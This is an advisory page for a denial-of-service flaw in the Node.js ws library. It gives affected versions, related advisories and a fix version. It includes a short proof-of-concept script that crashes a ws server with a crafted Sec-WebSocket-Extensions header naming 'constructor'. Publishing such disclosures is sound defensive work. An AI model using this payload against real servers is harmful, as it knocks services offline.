Vulnerability GHSA-5v72-xg48-5rpm
High Risk
HIGH RISK
CVSS Score: 7.5
Score Range: 7.0–8.9
High severity vulnerabilities (CVSS 7.0–8.9). Serious vulnerabilities that should be prioritized soon after critical fixes.
7 years ago
June 04, 2019 at 07:37 PM UTC
Denial of Service in ws
0.6.0 - 1.1.4 and 2.0.0 - 3.3.0
0.6.0 - 1.1.4 and 2.0.0 - 3.3.0
Summary
Denial of Service in ws
Details
Affected versions of ws can crash when a specially crafted Sec-WebSocket-Extensions header containing Object.prototype property names as extension or parameter names is sent.
Proof of concept
const WebSocket = require('ws');
const net = require('net');
const wss = new WebSocket.Server({ port: 3000 }, function () {
const payload = 'constructor'; // or ',;constructor'
const request = [
'GET / HTTP/1.1',
'Connection: Upgrade',
'Sec-WebSocket-Key: test',
'Sec-WebSocket-Version: 8',
`Sec-WebSocket-Extensions: ${payload}`,
'Upgrade: websocket',
'\r\n'
].join('\r\n');
const socket = net.connect(3000, function () {
socket.resume();
socket.write(request);
});
});
Recommendation
Update to version 3.3.1 or later.
Related Vulnerabilities
Other vulnerabilities affecting the same packages
High Risk
17 hours ago
ws: Memory exhaustion DoS via unbounded automatic pong responses
0.2.6 - 5.2.7 and 6.0.0 - 6.2.6 and 7.0.0 - 7.5.13 and 8.0.0 - 8.22.2 GHSA-37g9-w4hg-h9qr
0.2.6 - 5.2.7 and 6.0.0 - 6.2.6 and 7.0.0 - 7.5.13 and 8.0.0 - 8.22.2 GHSA-37g9-w4hg-h9qr
High Risk
5 months ago
ws: Memory exhaustion DoS from tiny fragments and data chunks
1.1.0 - 5.2.4 and 6.0.0 - 6.2.3 and 7.0.0 - 7.5.10 and 8.0.0 - 8.20.1 GHSA-96hv-2xvq-fx4p
1.1.0 - 5.2.4 and 6.0.0 - 6.2.3 and 7.0.0 - 7.5.10 and 8.0.0 - 8.20.1 GHSA-96hv-2xvq-fx4p
Medium Risk
6 months ago
ws: Uninitialized memory disclosure
8.0.0 - 8.20.0 GHSA-58qx-3vcg-4xpx
8.0.0 - 8.20.0 GHSA-58qx-3vcg-4xpx
High Risk
2 years ago
ws affected by a DoS when handling a request with many HTTP headers
2.1.0 - 5.2.3 and 6.0.0 - 6.2.2 and 7.0.0 - 7.5.9 and 8.0.0 - 8.17.0 GHSA-3h5v-q93c-6h6q
2.1.0 - 5.2.3 and 6.0.0 - 6.2.2 and 7.0.0 - 7.5.9 and 8.0.0 - 8.17.0 GHSA-3h5v-q93c-6h6q
Medium Risk
5 years ago
ReDoS in Sec-Websocket-Protocol header
5.0.0 - 5.2.2 and 6.0.0 - 6.2.1 and 7.0.0 - 7.4.5 GHSA-6fc8-4gx4-v693
5.0.0 - 5.2.2 and 6.0.0 - 6.2.1 and 7.0.0 - 7.4.5 GHSA-6fc8-4gx4-v693
Impacted packages
Timeline
Published
7 years ago
June 04, 2019 at 07:37 PM UTC
Fixed (1.1.5)
9 years ago
November 08, 2017 at 04:55 PM UTC
Fixed (3.3.1)
9 years ago
November 08, 2017 at 04:58 PM UTC
Last Modified
4 months ago
July 17, 2026 at 06:45 PM UTC